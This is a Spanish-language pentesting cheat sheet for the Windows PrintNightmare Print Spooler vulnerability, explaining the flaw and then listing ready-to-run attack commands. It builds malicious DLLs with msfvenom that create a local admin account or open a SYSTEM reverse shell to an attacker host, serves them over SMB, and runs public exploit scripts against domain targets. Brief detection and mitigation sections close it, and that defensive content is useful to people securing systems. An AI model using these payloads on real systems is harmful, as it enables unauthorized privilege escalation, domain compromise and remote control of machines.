PrintNightmare
PrintNightmare (CVE-2021-1675 y CVE-2021-34527) es un fallo del servicio Print Spooler de Windows que permite a un usuario autenticado ejecutar una DLL como SYSTEM. Sirve tanto para escalar privilegios en local como para comprometer en remoto un servidor (incluido un DC) que tenga el spooler activo.
En qué se basa. La función RPC RpcAddPrinterDriverEx instala un controlador de impresora. La comprobación de que el controlador era legítimo estaba mal hecha, así que se puede indicar una DLL arbitraria (local o en un recurso SMB) como driver; el servicio, que corre como SYSTEM, la carga y la ejecuta.
Cómo se ejecuta. En remoto se usa la implementación de Impacket apuntando a una DLL en un recurso SMB; en local, Invoke-Nightmare crea directamente un administrador.
Comprobar que el spooler está expuesto
rpcdump.py @<target> | egrep -i 'MS-RPRN|MS-PAR' # el spooler responde por RPCGet-Service Spooler # local: servicio en marchaGenerar la DLL maliciosa
# Anadir un administrador local nuevo
msfvenom -p windows/x64/exec cmd='net user pwn Passw0rd123! /add && net localgroup Administrators pwn /add' -f dll -o evil.dll
# Reverse shell como SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f dll -o evil.dll
impacket-smbserver share $(pwd) -smb2support # servir la DLL por SMBExplotar (remoto y local)
# Remoto con impacket (variantes cube0x0 / Benjamin Delpy)
python3 CVE-2021-1675.py <domain>/<user>:<pass>@<target> '\\<lhost>\share\evil.dll'
python3 printnightmare.py -dll '\\<lhost>\share\evil.dll' <domain>/<user>:<pass>@<target># Local: Invoke-Nightmare crea el admin sin tocar SMB
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "pwn" -NewPassword "Passw0rd123!"
Invoke-Nightmare -DriverName "PrintMe" -DLL "C:\Windows\Temp\evil.dll"
# Variante en C# apuntando a una DLL local o remota
SharpPrintNightmare.exe C:\Windows\Temp\evil.dllRequisitos. Servicio Print Spooler en ejecución en el objetivo y credenciales de dominio válidas (para la variante remota). Muchos DC tienen el spooler activo por defecto, lo que convierte el fallo en una vía de compromiso de dominio.
Cómo detectarlo. Revisar el registro operativo Microsoft-Windows-PrintService/Admin en busca de errores de carga de driver, la carga de DLL no firmadas por spoolsv.exe, y la aparición de ficheros de driver en C:\Windows\System32\spool\drivers\. Una instalación de impresora seguida de la creación de un administrador local es la secuencia a cazar.
Defensa. Aplicar los parches, deshabilitar el servicio Print Spooler en servidores y DC que no impriman, y restringir Point and Print por directiva. Relacionado con el abuso de DnsAdmins, que también carga una DLL como SYSTEM en el DC, y con los ataques de token para escalar tras una ejecución local.